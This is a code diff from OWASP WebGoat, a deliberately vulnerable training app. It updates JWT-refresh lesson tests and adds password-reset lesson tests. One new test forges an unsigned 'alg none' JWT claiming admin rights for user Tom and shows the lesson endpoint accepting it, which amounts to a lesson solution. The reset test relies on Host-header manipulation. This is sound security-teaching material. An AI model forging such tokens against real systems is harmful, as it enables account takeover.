function call(encode) {
return () => {
var url = encode ? '/WebWolf/jwt/encode' : '/WebWolf/jwt/decode';
var url = encode ? '/jwt/encode' : '/jwt/decode';
var formData = encode ? $('#encodeForm').getFormData() : $('#decodeForm').getFormData();
formData["secretKey"] = $('#secretKey').val();

View File

@ -18,7 +18,7 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.boot.web.server.LocalServerPort;
import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.web.context.WebApplicationContext;

View File

@ -29,6 +29,7 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.jsonwebtoken.Jwts;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
@ -43,14 +44,14 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
public class JWTRefreshEndpointTest extends LessonTest {
@BeforeEach
public void setup() {
void setup() {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void solveAssignment() throws Exception {
void solveAssignment() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
// First login to obtain tokens for Jerry
@ -96,7 +97,26 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
void solutionWithAlgNone() throws Exception {
String tokenWithNoneAlgorithm =
Jwts.builder()
.setHeaderParam("alg", "none")
.addClaims(Map.of("admin", "true", "user", "Tom"))
.compact();
// Now checkout with the new token from Tom
mockMvc
.perform(
MockMvcRequestBuilders.post("/JWT/refresh/checkout")
.header("Authorization", "Bearer " + tokenWithNoneAlgorithm))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(
jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-refresh-alg-none"))));
}
@Test
void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
String accessTokenTom =
"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
mockMvc
@ -108,7 +128,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void checkoutWitRandomTokenShouldFail() throws Exception {
void checkoutWitRandomTokenShouldFail() throws Exception {
String accessTokenTom =
"eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
mockMvc
@ -121,7 +141,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void flowForJerryAlwaysWorks() throws Exception {
void flowForJerryAlwaysWorks() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
@ -146,7 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
@ -159,7 +179,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void loginShouldNotWorkForTom() throws Exception {
void loginShouldNotWorkForTom() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
@ -172,7 +192,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void newTokenShouldWorkForJerry() throws Exception {
void newTokenShouldWorkForJerry() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
@ -201,7 +221,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
@ -229,21 +249,21 @@ public class JWTRefreshEndpointTest extends LessonTest {
}
@Test
public void noTokenWhileCheckoutShouldReturn401() throws Exception {
void noTokenWhileCheckoutShouldReturn401() throws Exception {
mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
.andExpect(status().isUnauthorized());
}
@Test
public void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
.andExpect(status().isUnauthorized());
}
@Test
public void noTokenWhileLoginShouldReturn401() throws Exception {
void noTokenWhileLoginShouldReturn401() throws Exception {
mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
.andExpect(status().isUnauthorized());

View File

@ -0,0 +1,103 @@
package org.owasp.webgoat.lessons.passwordreset;
import static org.mockito.Mockito.when;
import static org.owasp.webgoat.lessons.passwordreset.ResetLinkAssignment.TOM_EMAIL;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
@ExtendWith(SpringExtension.class)
class ResetLinkAssignmentTest extends LessonTest {
@Value("${webwolf.host}")
private String webWolfHost;
@Value("${webwolf.port}")
private String webWolfPort;
@Autowired private ResourceLoader resourceLoader;
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new PasswordReset());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
void wrongResetLink() throws Exception {
MvcResult mvcResult =
mockMvc
.perform(
MockMvcRequestBuilders.get("/PasswordReset/reset/reset-password/{link}", "test"))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
@Test
void changePasswordWithoutPasswordShouldReturnPasswordForm() throws Exception {
MvcResult mvcResult =
mockMvc
.perform(MockMvcRequestBuilders.post("/PasswordReset/reset/change-password"))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
@Test
void changePasswordWithoutLinkShouldReturnPasswordLinkNotFound() throws Exception {
MvcResult mvcResult =
mockMvc
.perform(
MockMvcRequestBuilders.post("/PasswordReset/reset/change-password")
.param("password", "new_password"))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
@Test
void knownLinkShouldReturnPasswordResetPage() throws Exception {
// Create a reset link
mockMvc
.perform(
MockMvcRequestBuilders.post("/PasswordReset/ForgotPassword/create-password-reset-link")
.param("email", TOM_EMAIL)
.header(HttpHeaders.HOST, webWolfHost + ":" + webWolfPort))
.andExpect(status().isOk());
Assertions.assertThat(ResetLinkAssignment.resetLinks).isNotEmpty();
// With a known link you should be
MvcResult mvcResult =
mockMvc
.perform(
MockMvcRequestBuilders.get(
"/PasswordReset/reset/reset-password/{link}",
ResetLinkAssignment.resetLinks.get(0)))
.andExpect(status().isOk())
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
.andReturn();
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
.isNotNull();
}
}

View File

@ -6,4 +6,5 @@ spring.main.banner-mode=off
spring.jpa.properties.hibernate.default_schema=CONTAINER
spring.thymeleaf.prefix=classpath:/webwolf/templates/
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver